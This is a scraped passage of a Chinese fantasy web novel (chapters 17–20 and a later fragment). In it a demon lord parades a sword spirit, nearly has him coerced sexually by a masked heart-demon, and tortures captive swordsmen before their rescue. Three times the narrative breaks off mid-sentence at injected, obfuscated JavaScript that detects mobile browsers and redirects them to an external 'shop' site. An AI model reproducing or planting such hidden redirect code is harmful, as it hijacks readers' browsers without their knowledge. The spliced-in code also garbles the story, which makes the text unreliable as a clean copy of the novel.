那语气,还带着笑意。 门内,贺果知简直要吓吐了。 他听到秦飞情离开,扶着门双腿发软。缓了一会儿,他走回去,开始以正常的速度换衣裳。如侍女所言,这衣裳有些复杂,他穿倒是可以穿上,却不太会整理。 换上后,他道:“进来。” 侍女们再次进来,围在他身边。 整理衣裳还不算完,侍女们簇拥着他到梳妆台前,穿戴各种饰品。等侍女们折腾完,贺果知看到镜子里的自己,差点没能认出来。 长发用金玉的发冠束起,上面还有好几串坠子,都坠在发间。身上是粉色的纱衣,层层叠叠,看起来像裙子,但还是男子衣裳的款式。腰上,也挂了铃铛玉佩,他走起路来,环佩相撞,叮叮当当。 “换好了,尊上。”侍女低声道。 贺果知抬头,看到秦飞情进来。 “剑拿上。”秦飞情道,“跟我去一个地方。” 贺果知抱上剑,跟在秦飞情后面。 看过原著,贺果知知道这是哪儿,这是魔宗的一个据点,看似只是寻常富户的宅院,内里暗藏乾坤。 秦飞情带他来到书房。进去后,书柜向两侧移开,寒意透骨的通道出现在贺果知眼前。 魔修五步一岗,一级一级的台阶向下延伸。 这是地牢。 越往下走,那种寒意越深,空气中漂浮着淡淡的血腥味。 一路走,贺果知也在地牢之中,看到关押在此处的人。或神情麻木,或见到秦飞情,痛哭求饶,更有甚者,拖着带血的身躯,秦飞情并不看他们一眼。 在地牢深处,贺果知看到了霍闻星。 少年盘膝坐在地上,白衣落拓,手腕、脚腕上皆是刻有铭文的粗壮铁链。那些求饶、呼喊,都未让他睁开眼,仿佛一切都和他隔绝开。 牢房的铁门打开,秦飞情踱步进去,笑道:“怎么不睁开眼,看看谁来了。” 秦飞情啊了一声,说:“忘了,我把他‘藏’起来了,你听不到他的脚步声,也感知不到他的存在。” “你的剑灵来了。”秦飞情说。 听到这句话,阖上眼的剑修,这才睁开眼。 霍闻星看到了贺果知。 霍闻星的眼珠乌黑,脸上什么情绪也没有,只是无比平静地看向贺果知。 像是他的剑灵,没有穿着漂亮,却轻薄到很容易毁掉的粉色纱衣出现。 18. 第18章 霍闻星看着如常,贺果知还记得秦飞情卸掉他的手腕。 “老霍……” 贺果知往霍闻星的方向走,腰上倏然横过一条手臂,一拽,整个人撞到秦飞情怀里。 他穿的粉衣轻薄,肩胛等处可以清晰感受到秦飞情华贵衣袍上的刺绣,硌到他的皮肤上。 猝不及防的撞击和硌到,贺果知很不高兴地皱眉。 恼怒:“你……?!” 刚瞪过去,对上秦飞情似笑非笑的眼眸,贺果知一下清醒了。 他哪儿来的胆子,敢瞪秦飞情。贺果知连忙低头,把生气全都藏起来。 “霍闻星,”秦飞情开口了,“我得感谢你,给本尊送来这么一个合心意的美人。” “已在府内备下宴席。” “有请。” 秦飞情笑吟吟说。 贺果知听到秦飞情的说辞,反而松口气。 原著中也是这样,秦飞情备下宴席让霍闻星过去。但也许是他的出现,让这段情节有些不同,但具体事件还是对的。 贺果知在秦飞情怀里悄悄抬眼,对上霍闻星的视线。 霍闻星的视线很平静,近乎寂静的在看他。 贺果知心尖却颤了一下。 这样的平静、八风不动,很符合原著中修无情道的仙尊模样。但现在……仙尊还不是仙尊,他的反应,太过平静了。 这种平静,更像是把激烈的情绪,全都压制在外表之下。 看起来,霍闻星似乎在生气…… 这个瞬间,贺果知恍然大悟。他明白了,秦飞情就是在利用他来让霍闻星生气。 本命剑对于剑修何其重要,秦飞情却让他的本命剑,以及手中的剑灵成为玩物,这是个剑修都无法忍受。 而秦飞情这么做,是他想看霍闻星愤怒,用一切手段撕裂他冷淡的外表。 原著中也是这样,秦飞情总是挑战霍闻星的底线,以此来让性情淡漠的剑修露出一些别的表情。 那么他现在,完全是普雷的一环! 怪不得让他穿粉色的衣服,还戴这么多叮叮当当的首饰,全都是秦飞情在激怒霍闻星。 对秦飞情的话,霍闻星并没有回答 ,而是淡漠一瞥后,收回视线。 “走了。”秦飞情说完,拽住贺果知的手腕往外走。 贺果知正在思索,一时没反应过来,被拽得趔趄一下,又撞到秦飞情怀里。 贺果知:“……” 秦飞情笑了,揽着他,低头,很亲昵的在他耳边说话:“在投怀送抱么?” 贺果知偏头躲避温热的气息:“……你误会了。” 秦飞情的视线,在白玉似的耳垂那一扫,薄唇笑意更浓,收了回来。 贺果知低着头,完全没看到秦飞情薄唇勾笑,那笑在睨向霍闻星时变成另外一个样子,冷淡下去,却挑衅的意味十足。 秦飞情把贺果知带到宅院内一处楼台。这里是宅院内的最高处,凭栏远眺,风景极佳,楼内厅中摆好席面。 一来到这里,贺果知感觉腹中的饥饿更加明显了。 那些美食的香味,萦绕在他的鼻端。 可是不能吃…… 贺果知蔫巴巴看了眼,收回视线。 秦飞情拉着他在桌边坐下,用筷子夹了一个炸酥糕给他。 “吃吧。” 贺果知看了眼表皮金黄酥脆的炸糕,将自己的视线撕下来:“不饿。” “是吗?”秦飞情撑着脸,笑着看他。 贺果知被他笑得头皮发麻,连饿都顾不上了。 秦飞情懒洋洋伸手,张开怀抱:“我不信。你过来,让我摸一下肚子,如果是鼓的,我就信。” 贺果知:“……我比较瘦。” 秦飞情却没有答,只是保持伸手的姿势,弯着狐狸眼,笑着看他。 不饿是一个太低级的谎言,秦飞情是在他们吃饭前把他和霍闻星劫走,贺果知还没顾上吃饭。既然秦飞情蓄谋已久,肯定也让魔修暗中跟着他们,记录他们的言行,每日到了饭点,他们都会吃饭。如今饭点都过了,贺果知不可能不饿。 贺果知改口:“……确实饿了。” 拿起筷子,慢吞吞把炸糕吃了。 “尝尝这个虾,也不错……”秦飞情在他吃炸糕的时候,剥了一个虾放到他的碗里。 贺果知吃了。 呜呜呜是挺好吃的。 他现在完全是一种破罐子破摔的状态,既然已经吃了,那吃多吃少都没差别。要是有毒他已经中毒了,多想无益,还不如先吃饱。 霍闻星手腕、脚踝上都是铁质的镣铐,每走一步,锁链都会发声音。 秦飞情和贺果知先到这里,霍闻星后面才被带过来。 听到声响,贺果知回头。彼时秦飞情刚舀了一碗汤,放到他的手边:“有点烫。” 贺果知胡乱应了一声,刚看到霍闻星淡漠的双眼,被秦飞情按着后颈转回来。 秦飞情:“说了烫,听到了吗?” 贺果知:“听到了。” 说是感谢霍闻星的宴席,秦飞情让魔修把霍闻星带来后,也不管霍闻星,就让人押着他立在那里。而贺果知,有想看霍闻星的苗头都会被秦飞情按回去。 这么吃了一顿饭。 “饱了?”秦飞情问。 贺果知点头。 “过来。”秦飞情说。 那声音距离贺果知有些远,贺果知抬眸看过去,眯了下眼,起身,朝声音的来源走过去。 似乎有点不对劲…… 贺果知这么想。 可他却不知道那里不对劲。 因为说话的根本不是秦飞情,而是站在层层叠叠的纱幔珠帘后,一个戴着面具的人。这个人的身量与秦飞情相同,声音也完全一样。 贺果知撩开纱幔,走过去,来到面具人身前。 面具人揽住贺果知的腰,带到怀里,贺果知也没什么别的反应。 他的思绪迟钝,唯有秦飞情的声音在他耳边响起。 “好乖。”秦飞情说。 好……乖……? 在他还在思索的时候,面具人抬手,把他的发坠珠串什么的拆下来,金玉的发冠也拆下来,如瀑的长发顺着瘦削的肩滑下去。 贺果知低头,看了眼散下来的长发。 嗯? 头发怎么散下来了,不是梳的好好的吗。 在他思索这个问题的时候,忽然身体一轻,贺果知呆了一下,发现他被面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289156|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具人抱起来了。 面具人抱着他,走向纱幔后的床榻。 贺果知被放到床上。 他看着秦飞情,一个疑惑袭上心头。 秦飞情,什么时候把面具戴上的? 他的指尖,碰到秦飞情的面具。 微微用力—— 铮—— 贺果知的眼前忽然有剑光乍开,像是明亮的烛火,或是月辉映照在剑上,泛起锋锐的寒光。贺果知本能闭上眼,再睁开的时候,看到面具人,心中掀起惊涛骇浪。 想也不想,把银白的剑召来,刺向面具人。 看似快而凌厉的一剑,面具人偏头,躲开了。 可却不知为何慢了点,被贺果知削断一缕长发,落在塌上。 贺果知握剑的手微微发抖,脑海中一片混乱。 怎么回事?! 刚才发生什么? 这个面具人是谁? 他在吃饭吗? 不对……他吃完了,然后呢……? 贺果知下意识寻找霍闻星,他看到了隔着纱幔和珠帘,一坐一立的秦飞情和霍闻星。 好熟悉的画面…… 但是角度有些奇怪。 贺果知皱眉,陡然想起来,这不就是原著剧情中,秦飞情给霍闻星看绿江会屏蔽的东西的那一段吗?! 原著中是这样的,霍闻星并不吃秦飞情准备的饭菜,秦飞情也没坚持,拍手让两个魔修进来。那两个魔修都是男子,只是一个身量清瘦,面容也清俊一些,两人当着霍闻星的面拥抱在一起,接吻,以及做更多的事情。 贺果知觉得角度奇怪,是看原著时贺果知和霍闻星一个视角,是观看的。而此时,他却成了被观看的人。 至于秦飞情为什么这么做,有了在地牢的经历,贺果知轻易想明白了。 霍闻星淡漠,秦飞情偏要让他无法自持。 不是修无情道么,不是无欲无求么,那他偏要把世间最直白的欲望展现在霍闻星面前,让他看情.欲是什么样子,陷入情.欲中的人如何纠缠,如何交.欢。 把观看的对象换成贺果知和面具人,也很好理解。 秦飞情嫉妒。 贺果知作为剑灵,和霍闻星亲密无间,对霍闻星是特殊的存在。 那他偏要毁了贺果知,让贺果知无法继续作为霍闻星的剑灵。 这是秦飞情扭曲过后对霍闻星的情感。 只是他做这些的时候,或许自己都没感觉到,只是一味在从报复霍闻星这里获得快感。 贺果知泪了。 死对头的爱情固然刺激。 他很想嗑。 可作为普雷的一环,他现在的状况很不好! 匆匆扫的一眼,他将厅内的情况纳入眼中。魔修们不知何时退出去,这里只有秦飞情、霍闻星,他和面具人四人,窗子以及通向楼外连廊的门也关闭,形成封闭的空间。 就算不封闭,秦飞情在这里,他和霍闻星也不是对手。 这些思索,全都在贺果知醒来后很快完成,一点都没有之前的迟钝。 贺果知面前的面具人,一整张面具覆盖住脸,只有眼睛的位置留出来。他歪头,看了眼被削断的长发,然后转回,重新看向贺果知。 19. 第19章 贺果知再挥出一剑。 面具人躲也没躲,握住贺果知的手腕一捏,迫使他把剑扔出去,反手扣住贺果知的手腕,推到头顶和另一个手腕一起攥住。他在贺果知上方,他的腿,轻松绊住贺果知的腿。 面具人俯下身,低声问:“想看我的脸?” 都是秦飞情的声音,面具人的话听到贺果知耳中,却带着十足蛊惑的意味。贺果知的思绪,不受控顺着面具人说的方向思考。 “想……” 面具人松开贺果知的手腕,贺果知也没再挣扎。 他微微眯眼,眸光落在面具上。 想看…… 是谁? 贺果知再次去碰面具人的面具,面具人握住他的手,细白的手指拢入掌心里。 “等一等。”面具人说。 贺果知不解地看他。 面具人:“自己把衣裳脱了,我给你看。” 贺果知一顿,低下头,用手去解他的衣裳。 层层叠叠的纱幔之外,秦飞情撑着脸,挥了下折扇,霍闻星的胸口遭遇重击,倒飞出去,哐的一声后背狠狠砸在墙壁之上。 秦飞情赞叹:“不愧是宗嚣的亲传弟子,好手段。” “强行破开被我封住的灵脉,来提醒他。” “不过,”秦飞情笑眯眯的,“提醒一次断一条手臂。下次再提醒,准备断哪儿?” 刚才那一下,撞到霍闻星的头,鲜血蜿蜒下来,淌过单薄的眼皮,狭长淡漠的眉眼。霍闻星垂着眼,并没有说话。 秦飞情愉悦地弯唇:“那是我的心魔,我和他共感。” “你的剑灵……” “他真漂亮。” 外面这么大的动静,贺果知却和没听到一般。白皙的手指没入粉白的薄纱,像是层层剥开的礼物。 秦飞情看着这一幕,满足地喟叹一声。 也是这时,楼外陡然爆发出剧烈的声响,整座楼都被震动。贺果知一下反应过来,召来长剑,刺向面具人! 面具人偏头看过去,飞驰的长剑骤然悬停,无法再逼近面具人一分!趁这个机会,贺果知拢起衣衫,与面具人拉开距离。 门外传来魔修汇报的声音:“尊上,有人袭击地牢。” 魔修说了一个名字,道:“他在混乱时跑了!” 听到这个名字,秦飞情眉眼间的神色陡然阴郁下去,他站起身,往纱幔中睨了一眼:“看好他们。” 面具人正倾身,轻松把贺果知捉回来,闻言笑道:“知道。” 秦飞情出去。 剑被扔了,面具人把贺果知抱到怀里。 贺果知简直要怕死他了,不停挣扎。 面具人透过面具,凝视他:“你真好看。” “想.操.你。” 他和秦飞情不同,秦飞情会隐藏他的想法,他却十分直白,将欲.望表露出来。 听着这几个字,贺果知气恼:“你……?!” 心魔抱着他,轻轻摸他的后背,像是在安抚:“生气更好看了。” 话刚说完,他啊了一声,低下头看到自胸口穿出的长剑。他不会流血,漆黑的魔气从伤口中溢出来。 心魔不解:“怎么会……?” 从后背后刺入的长剑转动,心魔喉咙溢出痛苦的一声,更多更汹涌的魔气四散,吹拂纱幔,屏风之类的摆件全都被掀倒。 心魔用魔气握住剑柄,把剑拔出来扔到地上。 狂乱的魔气平静下来。 床榻之上,没了穿着粉色纱衣的青年,那边倒在地上的剑修也消失了。 说是剑,其实只是用剑气凝聚的,当心魔拔出来扔到地上,剑也完成这一击消耗完灵力,剑气四散在空中。 心魔捂着胸口的伤口,唇边浮现冰冷暴虐的笑。 贺果知被霍闻星牵着手腕,跟着霍闻星不停地跑。 霍闻星用了法术,不过几步,他们周围的场景不断变化,直到来到一间无人的房间。屋内陈设简单,床榻桌子等物。霍闻星拉着他,躲到柜子里面。 柜子中原本的被褥等,被霍闻星用火烧得干干净净。 噗通、噗通。 贺果知听到他自己剧烈的心跳。 跑的时候为了活命,拼命跑,现在停下来,腿软,汗如雨下。 柜子内的空间狭小,他和霍闻星原本各自在柜子一侧,贺果知嗅到的血腥味,霍闻星的身体晃了下,往前栽倒。 贺果知被他吓了一跳,连忙过去扶住,这才发现血顺着他修长的手指滴落。 贺果知脑海嗡了一下。 和原著中的不一样。他知道引走秦飞情的动静是谢振涛制造的,可是原著中并没有那个面具人,秦飞情留下魔修看守,并布下阵法。霍闻星在秦飞情被引走后逃走,并没有受伤。 可现在…… 昏暗中,霍闻星动了动唇,他消耗极大,不得不靠着贺果知的肩膀。 少年的声音有些哑:“扶我坐下来……” “我歇一会儿。” 贺果知忙不迭应声,扶着霍闻星缓缓坐下来。 贺果知正要说什么,忽然听到外面的声音,有人推门进来! “搜!”有一道很高的声音。 紧随其后是脚步声。 那声音继续道:“都瞪大眼睛,仔细看清楚了!剑宗的剑修和他的剑灵跑了,尊上震怒。谁要是不仔细,小心尊上把你们做药人!” “是!” 柜子里,贺果知忍不住发抖。 他想不明白为什么出现面具人,也是因为面具人的出现,改变了他知道的剧情。而此时,要是被发现…… 温热的手,无声穿过他的长发,抚上贺果知有些颤抖的肩背。 白衣剑修垂着眼,把他发抖的剑灵,慢慢抱到怀里。 做完这件事,能动的那只手松开贺果知,召来银白长剑,握住—— 外面是翻箱倒柜的声音,一道脚步声,停到他们躲藏的衣柜前。 贺果知攥着霍闻星的衣裳,心脏近乎从他的胸口跳出来。 “头儿!”忽然一道声音传来,“找到了!在藏宝阁那边!” “走!” 屋内安静下来。 贺果知出口气。 他意识到一件事。 霍闻星带着他,并不方便逃走。刚才要是真被发现打起来,霍闻星还要分神保护他。 “老霍… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289157|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”贺果知还没完全缓过来,声音有些发抖。 “别怕。”霍闻星说。 贺果知一顿,知道霍闻星误会他的意思了。 贺果知嗯了一声,不太好意思小声开口:“你闭上眼。” “我脱一下衣裳。” 没了碍事的衣裳,他就可以回到剑里面了,这样霍闻星也方便带着他跑,更不用保护他。 短暂的沉默后,贺果知听到霍闻星的声音。 “嗯。” 估摸霍闻星闭上眼了,贺果知去解这件衣裳。这衣裳穿的时候就有点复杂,有的带子贺果知都不知道是系到哪儿的。 解不开的,贺果知索性用力扯断。 实在扯不断的,他摸到剑,用剑割断。 在他这种脱衣服的手法下,很快多了一堆七零八落的衣裳碎片。 ——黑暗中,细微的动静也会被放大,薄纱如何摩擦细腻的皮肤,然后被脱下来。 贺果知把粉衣脱完,赶忙飘到本命剑里面,然后把他放剑里面的白衣重新穿好。 他给霍闻星传音:“好了。” 霍闻星应了一声。 以往在剑里面,贺果知觉得又冷又硬,还很黑。可此时这样的环境,却带给贺果知十足的安全感。他冷静下来,思考他们如今的处境。 霍闻星重伤,外面引走那些搜查的魔修的,极大可能是谢振涛。秦飞情没找到他们,是因为霍闻星也是有底牌的,遮掩了他们的气息,让秦飞情无法用神识直接把他们搜出来。 但恐怕,谢振涛牵制不了太久,那可是秦飞情…… 他这个念头刚一冒出来,忽然听到了一道声音。 这声音扩散屋中、衣柜内,并向更远处扩散。 “谢振涛已经被尊上抓住,若是你们不想他死,速来金风玉露楼。” 金风玉露楼,就是之前贺果知吃饭的那座楼。 金风玉露楼,秦飞情呷了一口茶,笑道:“我还真是小瞧你们剑宗执法峰了,多少年前的陈年往事都查到了。” 若非是知晓多年前的往事,也不会在制造混乱后,精准地把那个人放走,迫使秦飞情离开。 在他面前,谢振涛被吊起来,血顺着他身上大大小小的伤口滴落。 秦飞情像是在思索:“我想想,该怎么处置你。” “尊上,人找到了。” 闻声秦飞情侧过去一眼,狐狸眼微弯,看到被手下押进来的剑修。另外一名魔修上前,恭敬地把银白长剑捧到秦飞情面前。 秦飞情指骨修长的手指摸了摸长剑,像是在欣赏,下一瞬,直接把在剑里面的贺果知拽出来。 秦飞情是笑着的,可他的眼神,却像是缠上来的毒蛇,看得贺果知发怵。 秦飞情没说话,手上用力,直接把贺果知拽过来,迫使贺果知坐到他腿上。 他抬手,去摸贺果知的脸。 “我有些生气了。”秦飞情的语气像是在委屈,“那个剑宗执法峰的弟子他欺负我。” 贺果知:“……” 他偏头去躲秦飞情的手。 这一屋子,魔修们大气不敢出,谢振涛被吊着,霍闻星被押着,怎么看都是秦飞情在欺负人。 20. 第20章 指骨匀称的手停在半空。 秦飞情的手没碰到贺果知的脸。 秦飞情并不恼怒,笑了一下,狐狸眼弯着,睨向了被吊起来的谢振涛,慢条斯理开口:“刚才说到哪儿了?啊……想起来了,应该怎么处置他。” 贺果知被魔修捧到秦飞情面前,用剑的视角,看到谢振涛。 谢振涛身上是剑宗执法峰弟子的黑衣,血浸在他的校服上,留下大片大片的暗色。修士的体质强横,随着境界的提升自愈能力也会变强,可谢振涛的伤口却无法愈合,流出的血隐隐泛黑。 秦飞情要说处置,立刻有追随他的魔修答道。 各种刑罚都是小意思,先把各种刑罚过一遍,摧毁谢振涛的神智,最后他这身修为和身体不能浪费,做成药人。 贺果知听得害怕,心尖发颤。 谢振涛受伤并未昏迷,魔修的话清晰传入他的耳中,可他却自始至终面色平静,多余的力气,都被他用来看霍闻星和贺果知的情况。 秦飞情曲指轻轻叩了叩,弯唇,满意道:“就这么做吧。” 轻飘飘的几个字,迎头朝贺果知砸下来,差点把贺果知砸晕——在他看的原著里,没有这段剧情! “你说什么?”秦飞情一个眼风过去,制止魔修的动作,问道。 正欲带走谢振涛的魔修停下来。 贺果知一愣,才发现情急之下,他说:“等等,别!” 贺果知:“……别伤他。” 现在发生的对贺果知而言,和小说崩了差不多。霍闻星和谢振涛重伤,秦飞情念头一动,随时能要他们的命。贺果知怎么能让这样的事发生? 表面看起来贺果知还算淡定,内心疯狂擦汗。 冷静冷静冷静…… 贺果知对自己说。 秦飞情:“可我不想放过他,怎么办呀?” 秦飞情笑眯眯问。 贺果知:“你想怎么办?” 秦飞情:“嗯……让我高兴一点,那我可以考虑一下。” 说着,秦飞情意味深长的目光,看向贺果知。 贺果知一直坐在秦飞情腿上,秦飞情揽在他腰上的手臂,收紧几分。 贺果知看懂了,他没怎么迟疑,抓起秦飞情的手,贴上他自己的脸,试探:“这样?你有高兴点吗?” 怀里的青年都要怕死他了,但还是要强撑出一副不怕的样子。而他这么做,都是为了被他抓住了两个剑修。 秦飞情眸光深了几分,笑吟吟的,捏了捏贺果知的脸。 “没有呢。”说的语气,竟然很温柔。 贺果知震惊。 啊? 刚才没碰到脸,扭头说起要处置谢振涛的事情。现在碰也碰了,捏也捏了,为什么不行? 贺果知余光看到,霍闻星也被用锁链吊起来。霍闻星的伤比谢振涛重很多,意识并不清醒,被吊起来后,血顺着手腕淌下来,白衣很快变成了血衣。 贺果知担忧地瞥去一眼,很快被秦飞情掐着下颌扭回来。 指骨几乎陷入他的脸肉里面。 “啧,做成药人而已,你以为我会怕?我死了又如何,你杀孽滔天,屠尽秦家上百人,只要你活着,正道修士就不会放过你。”谢振涛忽然嗤笑一声。 听到这句话,贺果知差点眼前一黑。 秦飞情的过去,在书中是不可提及的事情。一旦提起,秦飞情必然动杀念。 那双总是含笑的狐狸眼,也在谢振涛这么说了之后,微微眯起来,那种随性的笑,一点一点变成了剔骨的冰冷。 薄唇动了动。 救命救命救命! 贺果知简直要哭了。 想也不想,抱住秦飞情的肩膀,不让秦飞情可以抬起手臂。又觉得不行,空出一只手去捂秦飞情的嘴,不让秦飞情对魔修下任何命令。 贺果知:“他瞎说的,你不要听。” “他刚才一定是伤到脑子了,所以才胡言乱语!” “魔尊你大人大量,肚子里能撑船,千万不要和他这种脑子有坑的人计较!” 贺果知几乎是心里哭着叭叭一通输出,唯恐他说慢了秦飞情对谢振涛做什么。 谢振涛当然不是脑子有坑,他这么做,完全是在拉秦飞情的仇恨值。秦飞情因他愤怒,那暂时没空去管贺果知和霍闻星,可以为他们争取时间。 去捂秦飞情嘴的时候,贺果知都做好他的手直接被秦飞情的扇子削断的准备了。 贺果知战战兢兢,说完后,发现手还在。 秦飞情没说话,只是挑了下眉,像一只慵懒的狐狸似的朝他看过来。 对上贺果知惊惧的目光,秦飞情才笑了一下,慢吞吞把他的手拉下来。 “吓到了?”秦飞情问。 当然啊! 吓死了都要! 贺果知谨慎地点了一下头。 贺果知内心的警报并没有接触,他盯着秦飞情,随时准备捂嘴。 秦飞情:“把他们两个带下去吧。” “别伤到了。” 秦飞情如此说。 魔修们低着头,沉声应是。 贺果知懵了一下,心想,这是没事了吗? “别伤到”这几个字,就是秦飞情专门说给他听的。 贺果知正想着,身体一轻,他被秦飞情打横抱了起来,走向层层纱幔的后面。 他扒拉了一下秦飞情的肩膀,看到带离这里的霍闻星和谢振涛。 秦飞情会言而有信吧? 直到再也看不到,贺果知才收回视线。 他被放到床上,贺果知这下意识到不对劲了。 之前他一直认为,秦飞情是把他当作玩物,用来激怒霍闻星,并且嫉妒他在霍闻星身边,所以才让面具人出现。秦飞情是攻君,眼里只有霍闻星这个死对头。 他看的这本小说,无论大师兄还是师尊……攻君们全都是男徳班毕业的。 应该不会…… 贺果知本能往后躲,秦飞情握住他的小腿把他拽回来。 “刚才不是还抱我呢,现在躲什么?” “你……你在开玩笑?”贺果知问。 秦飞情的手,摸到他的后颈,压向自己:“或许?” 这时,贺果知什么都没反应过来,秦飞情略偏了下头,把他抱到怀里。赤金的剑光乍开,伴随轰隆声。秦飞情带着他,似乎在躲避什么,最终停下来。 剑风肆虐。 一名面容周正的中年人立于剑上:“秦飞情,把剑宗弟子交出来。” 贺果知认出说话的人。 剑宗掌门! 贺果知心中松了一大口气。 谢振涛在找到这里后,立刻发现这里的不同寻常,他之前找的帮手来这里也是送菜,于是给峰主传信。碰巧掌门在执法峰,所以楚岳峦来到这里。 秦飞情笑了:“有吗?我怎么不知道。” 楚岳峦掀了下眼皮:“那只好在下亲自找一下了。” 楚岳峦和秦飞情交手,贺果知被送回剑里面,被一名魔修用布带紧紧绑在身后。这名魔修孤身一人,无论是在宅院中,还是穿过市集,修士和百姓们都对他视而不见。 直到出城没走多远,他的速度突然慢下来。 贺果知悚然看到,一种黑色的虫子顺着他的脚爬上来,顷刻间把他的身体吞噬殆尽。一切发生太快,剑啪的一下,掉到地上。 那种黑色的虫子外壳似乎折射一种诡谲的光,啃完魔修之后,又朝贺果知涌了过来。 贺果知却动也动不了。 秦飞情把他送回剑里面,还下了一个封印,剑反而成了他的囚笼,他什么都做不了,只能呆在里面。 虫子外壳诡谲的光看得贺果知头晕,他匆忙移开视线,疑惑袭上心头。 这种虫子……不应该出现在这里。 秦飞情掌控魔宗,贵为魔尊,同样树敌无数。这种小虫子,就是潜藏在魔宗中的那人所有,趁着秦飞情和楚岳峦交手后受伤的机会,伺机杀掉秦飞情! 当然他失败了。 然后被秦飞情杀死。 至于这种虫子,养的方法特殊,加重秦飞情的伤势,让秦飞情不得不闭关。 贺果知看到虫子爬上来,但他动不了,用剑的视角,看到虫子张开的口器。 贺果知:“……” 这是霍闻星的剑,一定足够坚硬! 你们这些吃人的虫子,等着把牙崩掉吧! 贺果知闭上眼。 然而,预想中剑身被啃食的感觉并没有出现。贺果知悄咪咪睁开眼,看到无数虫子断成两截的尸体。一个清洁术落在他身上,同时,他被一只熟悉的手捡起来。 贺果知看到霍闻星。 白衣剑修的校服扯下一块,而扯下的那一块作为系带,将他断掉的那只手固定在胸前。不……不能称之为白衣,原本素白的校服沾染血迹,留下大片的深红。 “呜呜呜呜老霍!”贺果知最后一眼看到霍闻星,霍闻星看着失去意识,他以为霍闻星不会出现。 贺果知的声音,回荡在剑中。 贺果知意识到,秦飞情的封印,让他无法给霍闻星传音。 明知道霍闻星听不到,贺果知还是忍不住说:“老霍你小心,这个养虫子的不好对付!” “真是小瞧你了。”一道嘶哑的声音响起。 翅膀艳丽的蝴蝶飞起,露出这人被遮挡的身形。这些蝴蝶的翅膀叠在一起,将这人的身形与周围的环境融为一体。 说话之人一身深红的劲装,他脸上有一些凸起的血管,那血管中仿佛有什么东西正在移动。 他打量霍闻星,很是疑惑:“都是剑对于剑修万分重要,今天也算是看到了。” “不过,我有些疑惑。” 似乎有沙沙……沙沙的声音隐藏在他说话的声音之中。 “是真的重要,还是,因为你本命剑中的剑灵?” 他粘腻的视线,落在银白的长剑之上。 “聒噪。”霍闻星冷冷道。 霍闻星几乎是在强撑,疲于应对不断爬向他的黑色小虫。 这般狼狈的样子,更加取悦了此人。 他道:“本来是想把他捉走,用他来威胁秦飞情。毕竟我在魔宗这么多年,还是第一次见到,提起秦家后,竟然因为这个剑灵的三言两语,竟然没有把那个姓谢的杀死。” “既然你送上门来,那我却之不恭。” 霍闻星是剑骨道体,他完全可以把剑骨剔出来。道体同样是至宝,有了这一身血肉喂养的虫子,恐怕魔尊秦飞情都不是对手。 他用哨声控制虫子,看着霍闻星力竭,挥剑的手越发慢下来。 他注视霍闻星:“看你那淡漠的样子,还以为无情道都是冷心冷情,没想到还是用情至深?自己重伤也要来救他。” “不对,我是不是应该说……“他的语气暧昧,“你舍不得和你那个剑灵双修的滋味,毕竟那么漂亮,哭起来一定很好看。” “不对不对不对!”贺果知大声反驳,“别用你那肮脏的心思来揣测老霍!” “我既是他的朋友,又是他的剑灵,我对他很重要!他这才来救我!” “才不是你说的那种乱七八糟的理由!” “你内心龌龊,所以看人也龌龊!” 贺果知怼得实在是不解气,因为他被封在剑里面,这个红衣人根本听不到! 用情至深,更是胡扯! 霍闻星一心修无情道,道心坚定,眼里一点都没有情情爱爱。在贺果知看到的原著中,霍闻星修无情道,近乎断情绝爱,这可是霍闻星和攻君们感情的一大虐点。 “说完了?”清冷的声音响起。 红衣人张了张嘴。 下一瞬,一个剑阵拔地而起,将红衣人和他的虫子全都笼罩在其中。 剑阵之中,红衣人发出痛苦的哀嚎。 这个剑阵的威力很大,缺点是布置的时间长,并且难以移动,相当于一个陷阱。但此时用来对付红衣人和他的虫子,却是刚好。 银白的剑阵之中,无数的虫子啃食剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦飞情的封印无了! 然后开始尴尬。 好像他又把身体给落下了。 刚才那个情况,他睡醒不清醒,所以飘出来也说得通吧?至于刚才的灼烧感,应但是宗嚣在抹除秦飞情留在剑上的封印。 “师尊,霍闻星怎么样了?” 贺果知清醒了,顾不得尴尬,连忙飘到前面,询问霍闻星的状况。 宗嚣:“伤势颇重,需要闭关。” 贺果知哑然。 “多久?” 宗嚣:“一年。” 片刻后,贺果知抱着剑去找霍闻星,房间内安静下来。 宗嚣的目光,从紧闭的房门,移到膝上,随后闭上眼。那里刚才的温热,随着青年离开淡去,刚才他趴在那,焦急询问关于霍闻星的事。 贺果知轻车熟路飘到霍闻星的住处。 他放轻动作,悄无声息飘到霍闻星床边。贺果知没找凳子,就这么在床边趴下来,看着昏睡中的霍闻星。之前发生的事,也浮现在贺果知眼前。他们在酒楼吃法,饭都没吃到被劫走,随后是面具人,逃走,回来,谢振涛提起秦家等等…… 一个一个问题随之出现。 面具人,没去杀秦飞情的魔修……最让贺果知在意的,是秦飞情对他的想法。堂堂攻君,怎么可以不守男徳,一定哪里出了问题。 贺果知想了许久,勉强找到一个答案。 他看书的时候跳着情节看,只看到他看的剧情中秦飞情是一个怎样的人。所以秦飞情行事肆意,就是一个不守男徳的攻。可是……不守男徳在这本万人迷升级流小说中还叫攻君吗? 